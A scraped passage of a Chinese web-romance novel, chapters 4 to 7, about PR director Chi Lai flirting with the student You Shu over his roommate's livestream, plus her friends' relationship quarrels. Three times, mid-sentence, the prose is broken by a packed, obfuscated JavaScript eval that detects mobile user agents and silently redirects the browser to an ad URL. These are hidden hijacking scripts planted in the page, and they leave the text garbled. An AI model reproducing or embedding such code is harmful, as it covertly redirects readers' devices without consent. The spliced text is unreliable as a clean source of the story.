下车的时候正好撞上了刚参加完社团活动的刘畅。 “游恕，你怎么在这儿？这是？” 游恕一时间不知道怎么解释，要是从头说就太麻烦了，也容易让人误会了，但是不说的话...... “你好，我是游恕的姐姐，过来找他吃顿饭。” 刘畅恍然大悟，差点还以为游恕什么时候又有桃花了，而且还和“桃花”出双入对的。 听人这么说就不觉得奇怪了，“你好，我是游恕的同学，也是他篮球队的队长，我叫刘畅。” 迟莱点了点头，笑着回了句你好。 刘畅打完招呼就先回去了，游恕转过身发现迟莱还在往那个方向看，“他身材也挺好？” 4. 第 4 章 “是啊，你们打篮球的身材都这么好？”迟莱顺着他的意思回了一嘴。 自己目的不纯，游恕应该是知道的，但人还没表态，那就只能给点时间让他考虑了，毕竟还是个大学生，估计要迈个坎儿才行。 要实在不行那就算了，纯当是做了个赔本买卖。 所以迟莱这会儿也懒得解释自己其实压根儿没看刘畅，正好让他对自己的所求，认识清晰。 自己要的可不是一个好友位。 “哼。”游恕冷笑着哼了一声，就往学校里面走了。 迟莱在后面说：“没礼貌啊，刚请你吃了饭呢。” “那等会儿我把钱转你。”游恕双手插在裤子口袋，转身后语气散漫地说。 迟莱哪儿肯啊，这会儿要是跟人扯清了，那接下来还有什么事儿。 “算了，姐姐得有个姐姐样，请我们游恕吃顿饭而已。” 迟莱说话总是这样转还有余，也不需要刻意地琢磨成句。 迈入初春的时节，夜里的风都要暖上几分，似有若无地拂过游恕的脖颈，再撩动迟莱的发尾。 两个人站得远了些，学校的路灯有些暗，但并不影响看清眼前的人。 迟莱把吹乱了的头发顺到了一边肩上，看上去温柔了几分，如果不是话里话外勾着人，确实像个漂亮姐姐。 游恕无奈反问说：“谁家姐姐上来先看身材的？” “嗯......你家的？” 迟莱看游恕一脸服了她的表情，有些开怀，“逗你的，走了啊，手机上见。” 时间也不算早，迟莱不管对方有没有听清，转身就回车上了。 迟莱路上拒接了两个迟爸的电话，想也知道是打来说什么的。 到家的时候，发现许倩倩在沙发上坐着。 两个人家里门锁密码互相都是知道的，所以迟莱进门发现灯亮着，就猜到了是谁。 “怎么想着跑我这儿来了。” 许倩倩讨好地将迟莱的包接过来放好，说：“那肯定是想你了呗。” “每次都是这一句，下次换一个。陈锋意跟你说了？” 许倩倩有些心虚，咽了咽口水，说：“昂，是说了点儿。” “我就知道。” 这么久了，迟莱还是惊讶于陈锋意和郑昊元之间的传话速度。 “也没说什么，就说你今天去找郑昊元了，郑昊元还让他别找你说些有的没的。” 迟莱都能想到陈锋意在许倩倩面前说自己什么，无非就是清高，不识好歹之类的。 跟郑昊元刚分那时候，陈锋意就这么说的。 “你跟郑昊元真没可能啦？”许倩倩问。 迟莱翻了个白眼，很是无语，“我的哥姐们，都多久了？他在我这儿早都是历史人物了，有什么可能不可能的。” “有你这话，以后我也不瞎撮合了。之前我看你这么久没谈，还以为......算了，是我蠢了。”许倩倩看现在的情况，再说也没意义，就不该跟郑昊元说迟莱的事儿。 迟莱分手之后很少主动提起郑昊元，因为这人在她这儿早就过了，谁知道居然让许倩倩误会成她还没放下。 索性借着这次机会就说清楚： “我跟郑昊元开始也是因为合适，我觉得处处可能就越来越好了，但后来我发现并不是。我对他的感情一直处于觉得合适的阶段，就像工作上，我觉得跟某个同事很合拍一样。这种感情只会量变，不会质变。再后来我工作上升期，生活节奏全变了，两个人性格上的不合适就显出来了。” 许倩倩在边上听着，渐渐也明白了，四个人的关系早就没办法维持了，不光是陈锋意和迟莱互相不对付，更是迟莱跟郑昊元早就是在走两条不同的路了。 迟莱果断，但是郑昊元这两年始终优柔寡断，说是放不下，其实一半也是因为不愿意改变，安于现状吧。 “而且我现在更清楚，我对一个人感兴趣的表现不是那样的，我不清高，我有自己想要的，不管工作还是生活，我从来不会拘着自己不去争取。”迟莱说。 许倩倩舒了口气，说：“行，不想那些臭男人了，我今天在你这儿睡吧。” 迟莱凉凉地说：“睡呗。下次少让我看见你家那个臭男人就行，我可不想再听他给他兄弟抱不平了。” “哎呀，知道啦。” 游恕到寝室的时候，方星泽正在直播。 “诶，你回来了啊。” “嗯。” 弹幕里都在刷谁回来了。 方星泽就回答说：“我室友啊，上次不穿衣服那个。” “找死？” 方星泽做了个投降的动作，结果双手离开键盘鼠标的瞬间，游戏里就被人给偷背身打死了。 【室友哥哥好凶。】 【好凶好喜欢。】 【主播直播间都是什么受虐狂啊。】 【正中我xp。】 游戏在准备加载阶段，方星泽关了摄像头又闭了麦，问游恕： “你干嘛去了，叶肆说你回来洗了个澡就出门了，还以为你今晚回不来了呢。” 方星泽笑得贱兮兮，意有所指的样子，游恕没有理他，看了眼他的直播后台。 “放心把，摄像头刚关了，今天榜一都没来，诶，你们加上聊得怎么样？” 游恕说：“关你什么事儿？” 方星泽十分不服气，“她是我直播间的榜一，我不得维护一下关系，了解一下吗？” “那你自己加了维护不就行了？” “她要是要我的微，我二话不说就加，可惜啊，人家要的不是我的。”方星泽冲游恕挑了挑眉，坐着电竞椅在那儿左右转。 见游恕又看了几眼屏幕，方星泽也不急着转回去说，“别看了，榜一姐姐今天没来蹲你。” “是吗？可是你游戏开了。” “什么？！” 方星泽一个急转身，两只手搭上鼠标键盘就是干，连麦都没来得及开。 等躲到了一个安全的掩体后面，才连着摄像头一起打开。 【开局就挂机？！】 【主播人呢？】 【寝室被入侵了？】 【再不来我要帮主播报警了。】 方星泽：“别急，刚刚上了个厕所，这不就来了嘛。” 【原来是掉厕所里了。】 【拉了坨大的。】 【刚刚附近有脚步啊。】 【诶，主播室友是走了嘛？】 【好像是诶。】 方星泽的摄像头不是正对着脸的，角度倾斜，所以只能看到游恕的小半张桌子，游恕往另一边挪一点，就不会入镜了。 另外两个室友已经开始准备考研了，七天有六天都泡在图书馆里，这会儿都不在。 游恕在座位上看篮球比赛的回播，手机就放在手边充电。 屏幕一亮就注意到了。 迟莱：我到了，你忘记报平安了。 游恕拿起手机，回复：在学校我还能走丢了不成。 迟莱：那不一定，校园失踪案也不少。 游恕：离开你就挺安全的。 迟莱：嘴太硬可不招人喜欢。 游恕：...... 方星泽突然提高分贝鬼吼了一句： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183224|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我去，这是谁来啦！” “你能不能......”游恕正想发火，听到后面的话顿时停住了。 “感谢我榜一姐姐的豪华飞艇，姐姐大气！” 方星泽谢完礼物后扭头问游恕，“你刚刚想说什么？” “没什么，直你的播去。”游恕伸手把方星泽的椅子转回去说。 后者不明所以地小声念叨，“什么嘛，说话说一半。” 游恕带上耳机，把身后的声音隔绝了，耳机里传来的声音，却把方星泽的念叨清楚地重播了一遍。 是的，游恕点开了方星泽的直播间，因为有几秒的延迟，所以还能看到迟莱送的礼物特效。 方星泽现在的直播间人数一直稳定在六七千人，说多不多，说少也不少，但淹没游恕一个没有粉丝牌子的号，还是轻轻松松。 游恕之前的粉丝等级就不高，这么久没看，早就掉没了。 现下也不打算续了，进进出出的不方便，虽然不好说到底有什么不方便的。 迟莱：怎么没看到你？ 游恕心想，自己这个小破号，怎么可能跟你的榜一号比，迟莱的号现在进场都自带飘屏特效。 迟莱又说：你没在寝室吗？ 这会儿游恕才意识到，对方问的是镜头里怎么没看见自己。 不知怎么的，游恕突然觉得自己的后背有些僵得不自然。 游恕：直播间又不是我的。 迟莱：要不你开一个？我就不用曲线救国了。 游恕刚想说她挺会想的，对方就又发来一条消息：算了，我怕竞争太大。 游恕：你还会怕这个？ 迟莱：也不是怕，成年人要懂得规避风险。 “我好不容易来你这儿一趟，你怎么还看手机呀。”许倩倩伸手把迟莱手里的手机给抽走了。 看了眼说：“你什么时候也关注这个主播了？很好看吗？” 迟莱不怎么看直播，工作以后游戏也打得少，所以许倩倩只能想到是上次在自己家关注的。 “还行吧。”迟莱把手机拿回来，含糊说了一句。 好看的可不是主播，而是后面那个。只不过没良心的，吃完饭不认人，今天连镜都不出了。 迟莱起身说：“行了，明天我还上班，洗个澡躺着去了。” “行吧，我明天在你这儿吃了早饭再走，晚上跟陈锋意约了看电影。” “哎哎哎，听不到，别跟我说。”迟莱捂着耳朵就回房了。 许倩倩笑骂了一句，也回次卧了。 她经常在迟莱家过夜，所以次卧基本上已经是她的专属房间了，里面放的东西，迟莱都没动。 手机的声音刚刚被关了，现在才又被打开。 方星泽：“我室友？你们天天就盯着我室友看是吧。” 不知道什么时候，游恕的椅子出现在了直播间了，今天吃饭时候穿的灰色卫衣已经换成了T恤，应该是洗了澡了。 嗯，还是好看。 迟莱给游恕发了条微信，刚刚这人一直没回，那就只能自己再发了，迟莱不介意。 【偷偷挪位置了？不提前跟我说，差点错过了。】 游恕：上了个厕所，回来椅子就在那儿了。 迟莱心想，我信你就有鬼了。 不过还是要给人留个面子的，不然弟弟恼羞成怒之后都不给看了，那就不好了。 迟莱：还好，我的礼物没白刷。 游恕：你现在再看看。 迟莱不明所以，看向刚刚切到平板上的直播，镜头里的少年已经没了。 狗东西，故意钓她胃口呢。 5. 第 5 章 迟莱：只给看一眼，那剩下的随我脑补了？ 游恕觉得这人大概就没有不好意思说的话，撩拨撩得得心应手。 对面没回的空隙，迟莱在手机上给迟爸报了个平安。 第二天一早，迟莱刚起，许倩倩就已经点好早饭在吃了。 “快来，都是你爱吃的。”许倩倩把迟莱的那一份留了出来，放到她面前。 比起夜宵，早饭对迟莱的诱惑更大。 眼前一人一份皮蛋瘦肉粥，一杯豆浆，一份小笼包。 “点这么多？”迟莱拉开椅子坐下说。 许倩倩看了看说：“还好吧，你不是早上食欲好嘛。” 确实，迟莱吃了早饭，一天几乎就不怎么吃正餐了。 “你不是八点到公司吗？现在七点半了还不出门。”迟莱看了眼手上价值不菲的表，这表是前年生日的时候迟莱给自己买的，戴得顺手。 表上指针已经指到了七点半。 许倩倩新搬的地方就在她公司附近，但是现在要从迟莱这儿过去，就有点距离了，半个小时根本不够。 提到这个，许倩倩有些没精打采地说，“我请假了。” “怎么了？”迟莱猜想多半是跟陈锋意有关。 果然，许倩倩说：“陈锋意那个混蛋，吵架了也不来哄我，刚刚还跟我说晚上的电影票也退了。” 迟莱挺少见许倩倩跟陈锋意大吵的，因为许倩倩是个急性子，一般受不了过夜就会先缠着和好，像今天这种过夜的情况挺少见的。 “昨天不是好好的，吵什么了？”迟莱喝了口粥，味道有点淡。 “我跟他说我住你这儿，他嘴贱，我就说了他两句。” 许倩倩昨天回房跟陈锋意煲电话粥，提了一嘴，让陈锋意以后也别管郑昊元事儿了，谁知道陈锋意直接就呛上了。 “你跟她混多了，我们也久不了，我可不想落得跟昊元一个下场，好心没好报。” “你说什么呢？” 许倩倩自觉陈锋意说迟莱，就是变相地在说她，实在忍不下这口气。 然而，陈锋意也正是上头的时候，根本顾不上许倩倩生气，“我说得不对吗？他不就喜欢别人追着她跑吗？装什么清高。” “一个大男人有话不会当面说，背后嚼舌根？” 陈锋意被怒气冲昏头，根本收不住，许倩倩的话更是加了把火，“我实话实说，她工作上要也这么清高，怕是就没这么顺了吧？” “没本事就靠踩别人找存在感是吗？”许倩倩嘲讽道。 “你说谁没本事？”陈锋意扬声质问。 许倩倩觉得陈锋意现在就是泼皮，完全没有交流的必要，于是挂了电话，之后陈锋意也没有再打过来。 这些话许倩倩没跟迟莱说。 “吃完我上班去了，你今天什么安排？。”迟莱语气如常，大抵也没什么兴趣知道。 许倩倩说：“不知道，就在家呆一天吧，你不问问我他昨天说了什么吗？” 迟莱无奈地叹了口气说：“昨天是我第一次，也是最后一次跟你说这些事，我更没必要跟他们解释什么，怎么想他们随意。” “嗯，我知道。”许倩倩失神盯着手中的筷子看。 “今天休息一天，明天我送你去公司。”迟莱不容她拒绝地说。 许倩倩小声嘟囔说：“我没心情工作。” “陈锋意今天干嘛呢？”迟莱突然问。 “他？应该在公司。怎么问这个？” 许倩倩和陈锋意一起下过一个软件，可以实时看到对方的状态和定位。早上起来的时候，许倩倩特意看了一眼，陈锋意没有关掉。 “他在按部就班做自己的事，你一个人在这演悲伤独角戏，想演到什么时候？” 迟莱把许倩倩手里的筷子拿过来放下，说：“不想吃就别吃了，包子都要被你戳烂了。” 许倩倩说：“知道了，我明天去上班吧，今天假都请了。” “嗯，我先走了，东西记得收啊。” 迟莱到点出门，今天要和公关部的人开会。 “莱总，这是刚整理好的舆情监测数据，您先看一下。”助理抱着笔记本进了会议室，电脑上密密麻麻的新闻数据，已经是筛选、整理过的了。 “放这儿吧。”迟莱把手边的文件挪开，腾了个位置。 公关经理接下去说：“我们根据您汇总过来的英国当地对X新能源车出现自燃事故的正负两方面报道，做了新闻数量和舆论方向的统计分析，并给出了针对性的公关策略，就是您手边这份。” 迟莱翻看了一下，“嗯，数据里面关于防撞性能未通过导致的安全事故的报道，需要单拎出来。这个事件相关的新闻没有做单独的汇总分析吗？” 助理说：“没有，委托公司没有提到。” 迟莱听到这话，语气瞬间严肃了几分，神情不佳，微微蹙眉。没有对助理说，反而直接转向了公关经理，这个直接负责人。 “什么叫他们没有提到？我们要做的是前瞻、预防工作，等甲方来跟我们提，那还要我们舆情分析做什么，直接让他们自己出紧急公关就行了。” 华星只负责监测舆情，在舆论发酵前打响警报，提供公关方案给委托方，而公关方案正是基于舆情数据分析做出的。 因此，舆情分析是华星公关部门工作的重要一环。 舆情数据分析工作开展得过于滞后，其实也是公关部的工作没有到位，对可能产生的舆情走向不够敏感。 公关经理双手交握，紧张地摩挲，斟酌之后说： “对不起莱总，我等下就让他们把这个事情所有的新闻报道收集、汇总出来，下班前给您。” “嗯，有需要我会提到委托公司那边去。” 偌大、明亮的会议室，这时才少了几分紧张沉闷。一群人开完会，都松了口气。 刚转部门的员工窃窃私语说：“莱总好漂亮，不过工作的时候也是真严肃。” 边上资历老一些的女生说： “那当然啦，莱总是咱们公司特意聘来的舆情分析专家，年纪轻轻就任公关部总监了。不过莱总私下人很好的，每次出差，都给部门的人准备礼物。” “真的假的？” “你是刚来，等下次也有你的份。” 新来员工不好意思地说：“我能看着莱总养眼就很幸福了。” 迟莱最后一个出办公室，高跟鞋的声音这会儿才传到电梯间。 刚刚还在闲聊的员工，一时都停下了，冲迟莱打了招呼。 “莱总好。” “莱总好。” 迟莱笑着回应，让人如沐春风，跟先前会上判若两人。 “你是新来的嘛？”迟莱看着边上一个面生的脸孔问。 “哦，不是，我从行政那边转过来的，今天刚到岗位上。” 小琴跟在迟莱边上，说：“小莱姐刚出差回来，没见过也正常。” “你叫什么？”迟莱问。 “莱总叫我乐乐就行了，之前同事们都这么叫。” “嗯，下午我请大家喝咖啡，麻烦你跑一趟公司楼下的咖啡店吧，你问问部门其他人想喝什么，你也点杯自己爱喝的。” 乐乐有些紧张，不过心里是高兴的，漂亮上司见面就请喝的。 迟莱看了眼手机，就先走了。 留下小琴跟乐乐说：“小莱姐这是想让你顺便熟悉一下其他同事，以后一起工作也方便。” 乐乐这才明白过来，忙说：“原来是这样，我懂啦。” 迟莱走到这楼窗边，不急着下楼，这会儿人多不想挤。 手机里是刚刚看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183225|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息，消息的主人这会儿又打了电话过来。 是郑昊元的声音：“你抽空给伯父伯母打个电话吧，免得他们担心。” 昨天没接电话，就发了个消息，今天忙着开会也没看手机，老人家估计是打到郑昊元那边去了。 “这些事，我自己会处理，他们要是再找你，你就别管了。” “他们是长辈，我怎么能不管。” 迟莱觉得郑昊元就是在故意曲解自己的意思，这么大的人了，亲近和客气之间的尺度还把握不好吗？ 郑昊元是狗皮膏药粘到底了，“下周学校篮球赛，我可能比较忙，等比赛结束我有一天假，我们聊聊。” “该说的我都说过了，炒冷饭没意思吧，我在忙，挂了。” 迟莱挂了电话第一时间给爸妈发了消息，说这周末回去吃饭。 刚刚郑昊元说下周篮球赛？上次去办公室，撞见游恕，这次的篮球赛他应该也参加吧？ 正愁找不到机会见人，这会儿就有了。 迟莱给游恕发了条消息：你下周篮球赛？ 游恕回了：嗯，哪儿来的消息？ 迟莱：你只需要关心我去不去就行了。 游恕：这好像不属于我关心的范畴。 迟莱：也是，礼物是给你室友刷的，要不我找他一起好了。 游恕：他忙，而且也不参加球赛。 不参加不代表不去吧，这借口找得太敷衍了，不过拆穿就没劲了，于是迟莱故作惋惜： 那没办法去了是吧？ 还想欲情故纵说句算了，没想到游恕已经回了：我也没拦着你。 好像游恕每次上钩都比她预想的快一步，既然如此，那就再得寸进尺一点。 迟莱：你到时候来校门口接我，我不认得路。 南北大占地面积广，外面大部分是建筑雕像和学子公园，绕过去才是学校内部的教学、活动区域，进入需要登记，不过有在校学生刷脸就能直接进了。 方星泽刚跑完一千米测试，过来就看见游恕在手机上敲敲打打。 “够忙的啊，刚跑完一千，大气都不带喘的，就回上消息了，谁啊？” “没你的事。” 游恕侧身躲开方星泽的偷看，最后发过去两个字“再说”，就把手机收起来了。 方星泽笑眯眯地说：“不会是跟我榜一聊天呢吧。” “嗯。”游恕大方承认了，加了好友这事方星泽本来就知道。 结果，听游恕这么说，他反倒不信了，“吹吧，你不把她删了我都感恩戴德了。” 游恕懒得跟他说，直接选择忽视，嘲讽道：“这么喘，虚？” “嘿，说我虚？”方星泽手臂搭上游恕的肩，就想把人往地上带摔。 游恕脚动了几步，整个身子都没怎么晃，方星泽根本晃不动他。 “你没事长这么高，练这么好干嘛，浪费。”又不谈恋爱，纯自我欣赏，没意思。 “少打游戏多锻炼。”游恕拍了拍方星泽的肩。 方星泽不服气，挑衅道：“有本事上游戏对枪。” 游恕长得好，学习好，运动神经还特别发达，在别人看来好像就没有短板。 然而方星泽知道游恕有一个短板，游戏。 当初宿舍里断网，一寝室四个人用流量组排开黑，游恕一个人拖得他们十连跪，系统送分局都没赢。 “怎么样？上游戏我点拨点拨你。” 游恕不屑地说：“不需要，我技术够用了。” 方星泽说：“你的技术，网恋都不够用，不如靠脸直接秒杀。要知道，妹妹都喜欢野王哥哥。” 游恕瞥了他一眼，把肩上的手拍了下来，说：“没事，我不喜欢妹妹。” “就喜欢姐姐是吧？那榜一姐姐怎么样？”方星泽挑了挑眉问。 6. 第 6 章 “要说这个，好像你现在的经济命脉还在我手里吧？” 方星泽立马狗腿上了，说：“别，恕哥，小弟知道你心中无女人，但是该忍还得忍，兄弟可就靠你了。” “看我心情。”游恕捡起外套就走了。 南北大的篮球校队比赛成绩一直不错，在各大体校之中，也能稳居前三。 游恕加入篮球校队是大一下的时候，当时刘畅大二，有节体育课调了时间，跟大一的撞上了。 一群人在球场上打球，就临时凑一块儿打了一场。 不像篮球队训练的时候多看配合，这是纯看谁敢打、打得凶，技术硬，刘畅第一次被人压了这么多分。 之后刘畅就一直邀请游恕加入篮球队，也没少带游恕去篮球队一起打。 郑昊元作为带队老师，看游恕打过几场，也觉得这人条件非常好，所以游恕就顺理成章地拉人加入了校队。 校园赛说大不大，说小不小，学校为了学生参与的积极性，还特意设置了奖项。 所以这几天篮球场地上，人比平时多了好几倍。 刘畅练完球，就跟着游恕到了休息区，其他同学轮换上场。 “我说，你最近这球练得比去年打省赛前还凶啊，怎么，这回当对手了就认真了是吧？” 刘畅肤色偏黑，平时就算打得再激烈，在他脸上也看不太出来，今天难得见他气喘得急促，大汗淋漓。 学校篮球赛是以系为单位的，刘畅的体育系和游恕的金融系分为两个阵营，只有最后一场表演赛是校队的人一起打。 “怕了？”游恕给刘畅递了个毛巾说。 刘畅结果毛巾，一边擦汗一边笑说：“怕了呀，你这强度，怎么回事？” 以往的校队训练游恕都不会缺席，全当放松了。至于其余时间，他来队里的次数并不频繁。不像这几天，球场开放的时间几乎都能看见游恕。 游恕倒是一脸无事发生的样子，说：“什么怎么回事，下周篮球赛，你不知道？” “就为了个篮球赛？”刘畅语气明显不信。 “还有班级荣誉。” “哄我呢？”刘畅一听就知道游恕在糊弄自己。 游恕笑着没说话，不管刘畅继续问，抬头喝了口水。 这几天篮球场馆里格外闷，外头都比里面凉快。 “篮球馆的通风是不是得改改了，坐着都能出汗。”游恕说。 刘畅对着风口，还好一些，见游恕抱怨，便推了推他，指着不远处的观众席说：“人家都是来看你的，人那么多，再加上最近打球的本来就多，能不闷嘛。” “我来打球，闲的，还往观众席看。”游恕说。 “可惜咯。”刘畅一脸遗憾，摇头说。 “可惜什么？” 刘畅说：“咱们队里的都巴不得有女生来看呢，这时候一个个都跟打了鸡血似的。” “还有这效果。” “这叫肾上腺素懂吗？” 游恕摇了摇头，明显对这个没什么兴趣，又坐了一会儿，实在是闷得难受，看了眼时间，打算先回去了， 刘畅说：“行，你先走吧，我看他们打完也差不多了。” “嗯，明天我带球。” “行啊。” 到寝室的时候，方星泽还没开着直播，正在游戏里面配枪。 “打完球了？”方星泽说。 “嗯。” “我说你最近挺刻苦啊，天天到这个点才回来。” 游恕皱起眉头，说：“你们天天没事光盯我了是吧。” 刘畅问完，方星泽问。 “怎么啦，叶肆他们整天泡图书馆，你整天泡篮球场，我又不能整天泡网吧，宿舍就我一个留守老人，我可不得问问嘛。” 方星泽演得委屈，游恕直接选择不听不看。 “开直播去，要不然没钱吃饭，还有力气演？”游恕说。 “哦对对对，差点忘了，我的全勤差点就没了。” 游恕表示不理解，“你当个主播哪来的全勤？” 方星泽有模有样地说：“这就是你不懂了，干一行爱一行，主播虽然没有全勤，但是我自己有啊，一个月不迟到我就奖励自己吃顿好的，我不是上个月还请你吃了吗？” 貌似有点印象，上个月开完班会，一宿舍就被方星泽拉去吃了顿海底捞。 “原来那顿是拿你全勤奖请的啊。” “废话，不说了，我得先开播了。”方星泽卡着点点了开播。 今天推流还挺快，饭还没吃完，直播间的人就已经来得七七八八了。 游恕坐在后面，没出镜。 方星泽：“来了来了，我的宝宝们，准时准点。” 【迟到了十秒钟。】 【扣全勤。】 【扣全勤+1】 【扣全勤+2】 方星泽：“这不叫迟到，这叫延迟，直播有延迟，我早早就坐在电脑面前了，不信问我室友。” 【没人说话啊。】 【室友不说话哈哈哈。】 【迟到实锤了。】 方星泽记得转身想拉游恕，奈何那人坐得太远，够不着，“啧，你帮我说句话呀。” 游恕慢悠悠地来了一句：“刚刚提醒的，不然他可能已经忘记开播了。” “我去，他污蔑我。”方星泽说。 【别狡辩了。】 【道歉。】 【道歉。】 【道歉。】 方星泽说：“行，开播分毛不赚，就道上歉了。” 【主播每日一飞艇呢？】 【是啊，今日份的豪华飞艇怎么还没来。】 【人家榜一要看的是室友，不是主播。】 方星泽感觉自己今天一直在被背刺，满心怨气地说：“室友不爱，榜一不来，粉丝还坏。” 【单押。】 【单押不算押。】 游恕不知道什么时候戴上了耳机，手机上挂了方星泽的直播间，原本想写的ppt还停留在封面那一页。 最后还是发了条消息过去。 迟莱照常加班，下班到家楼下等了一会儿，许倩倩才从楼上下来。 人这几天都住在迟莱这里，今天下午的时候发消息说晚上回去，迟莱估摸着是跟陈锋意和好了。 许倩倩下来就笑得一脸的心虚，迟莱说：“别笑了，看得我难受。” “哎呀，干嘛这么说。” “我才懒得管你这些，我是给你当朋友，不是老妈子。” 许倩倩凑过去抱住迟莱的手臂说：“是是是，你最好了，走吧走吧。” “我说你考了驾照，也不上路，你考它干嘛？” 许倩倩的驾照是和迟莱一起考的，俩人大学放假的时候一起去报的名。迟莱工作以后为了方便就买了辆便宜的车，到现在更新换代三辆了，许倩倩还是没有上路的打算。 “哎呀，我那工作，还要养活一辆车，太难了。况且我平时上下班也近，不需要车。” 许倩倩的新房子就是爸妈之前给买的，最近装修好了才搬进去。买这房子的时候特意挑了离她公司近的小区。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183226|165383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟莱说：“行吧，我送你过去，顺便得去那边吃个饭。” “跟顾客嘛？”许倩倩问。 “不然我大晚上跑那儿去吃饭，闲的？” 大学四年一直到现在，许倩倩还是不能理解迟莱这种奋斗精神，问道：“你的生活除了工作还能有别的嘛。” 别的？好像有了点吧。 等迟莱应酬结束，到家已经十点了。 一到家感觉全身的疲惫都直冲脑袋，整个人都是晕乎的，迟莱踢掉了鞋子，打算先洗澡醒醒。 看到游恕消息的时候，已经收拾完躺下了。 游恕：这周四下午五点，你什么时候到？ 周四下午，好像没有什么特别急的工作。 不用特意挤出时间，这算是个好消息。迟莱心情不错地回：四点半吧，有空吗宝贝。 游恕看到消息，下意识地挡了挡手机，上课偷玩手机都没这么心慌。 回头看方星泽还在游戏里猛攻，才重新打字回：你是不是狗来了都得撩一下？ 迟莱：喊声宝贝而已，这么容易被撩，真怕被别人截胡了。 游恕趁他还没有讲出其他有伤大雅的话之前，直接回说：周四到了找我。 约好时间后，迟莱不忘调戏一句：今天给看吗？ 游恕：怎么看？凭空看？ 怎么听着怨气不小的样子。 自己今天还没去过直播间，这会儿才想起去拿平板。 没过半分钟，方星泽那边就响亮地喊了一声：“感谢我榜一姐姐的豪华飞艇，虽迟但到虽迟但到，我圆满了。” 方星泽在电脑面前感动地鼻涕一把泪一把的，游恕简直没眼看。 游恕：进直播间不收费。 迟莱：我想刷，今天忙死了，给我看一眼。 这人，是在撒娇？游恕不自然地咽了咽，说着麻烦，但是椅子却往另一边挪了挪。 直播间有几秒延迟，不过很快，迟莱就看到了游恕的背影。 迟莱：今天也好看。 游恕：你是不是总这么恭维人？ 迟莱：工作的时候遇到上司，肯定得恭维呀，但是我从来不说人家好看，我只说...... 游恕：说什么？ 迟莱：我只说老板这个今天做不完，老板这个还得等甲方那边的消息，诸如此类的。 游恕看迟莱说的这些，忍不住笑出了声，还以为她永远都是游刃有余的呢，原来工作的时候也得跟老板周旋。 迟莱：你是不是笑了？ 被问的人一下子收了声。方星泽给直播配的外设都很好，尤其是那个耳麦，收音效果特别好。 游恕果断否认说：你听错了。 自己看着直播，主播刚被人包夹，痛哭都来不及，怎么可能笑得出来，死小孩就是不承认。 迟莱：刚刚笑得挺好听的，难道是你室友的声音？。 游恕：......没有，我在看综艺，挺好笑的。 果然，这家伙应该挺吃激将法的吧。 为了维护弟弟的面子，迟莱表示了一下理解：那以后多看综艺。 方星泽反杀灭了一队之后，抽空看了眼直播间，发现榜一没说话，一直默默在看自己操作，于是说： “榜一姐姐要不要看我的甩狙，一枪一个小朋友。” 【没事，现在就挺好看的了。】 方星泽被如此善解人意还大气的姐姐感动了，决定更加认真操作。 然而他身后的人，手里玩着手机，不自觉地挺了挺背，调整了坐姿。 7. 第 7 章 许倩倩到家许久，才听到陈锋意进门的声音。 她起身往门口走去，给人拿了拖鞋，丢在他脚边，嘴上没说话。 等到陈锋意换上拖鞋，许倩倩才没了骨头似的往他身上靠，语调绵长地问：“你今天住我这儿吗？” 昨天陈锋意主动问了许倩倩要不要见面，陈锋意很少吵完架主动找她和好，所以许倩倩没忍住就答应了，顺着台阶下了。 俩人见面都没再提之前的事，关系算是破冰了。 陈锋意低头看了看身侧的人，“嗯，明天早点起了去上班，走得时候你应该还在睡。” 陈锋意一般不会在工作日的时候留宿她这儿，这里跟他公司在两个不同的区，为了不迟到，第二天就得起个大早去公司。 陈锋意现在的职位不高，在许倩倩看来即便是晚去一会儿也没什么，全勤也就那一两百。但是陈锋意很不喜欢她这么说，几次之后许倩倩就不敢再提了。 这会儿，许倩倩想起迟莱前几天的话，纠结着问了陈锋意一嘴：“我们这几天吵架，你工作状态受影响了吗？” “工作是工作，生活是生活，如果因为私事影响工作，那也太不专业了。” 许倩倩想起自己前几天吃饭都没胃口，工作更别提了，现在听陈锋意这么说，心里充斥着委屈：“所以，我们吵架对你来说根本没有影响是吗？” “你能别开口就是找事吗？” 陈锋意不爽许倩倩反问的语气，好像自己已经犯了什么大罪。 “我找什么事了，我就是问问你。”许倩倩说。 “你不承认就算了。”陈锋意拉开了距离，径直走去了客厅。 许倩倩被推开，负面情绪更大了，“我真不理解，迟莱跟郑昊元分手，你耿耿于怀到今天，我们吵架你倒是一点无所谓，你该不会......” 陈锋意一下子站起来，瞪着许倩倩说：“你说什么呢？” “那你告诉我为什么。郑昊元对迟莱都没那么大意见，你急什么？” 这么长时间以来，陈锋意一提到迟莱脾气就上来，俩人见面更是一句话都不说。 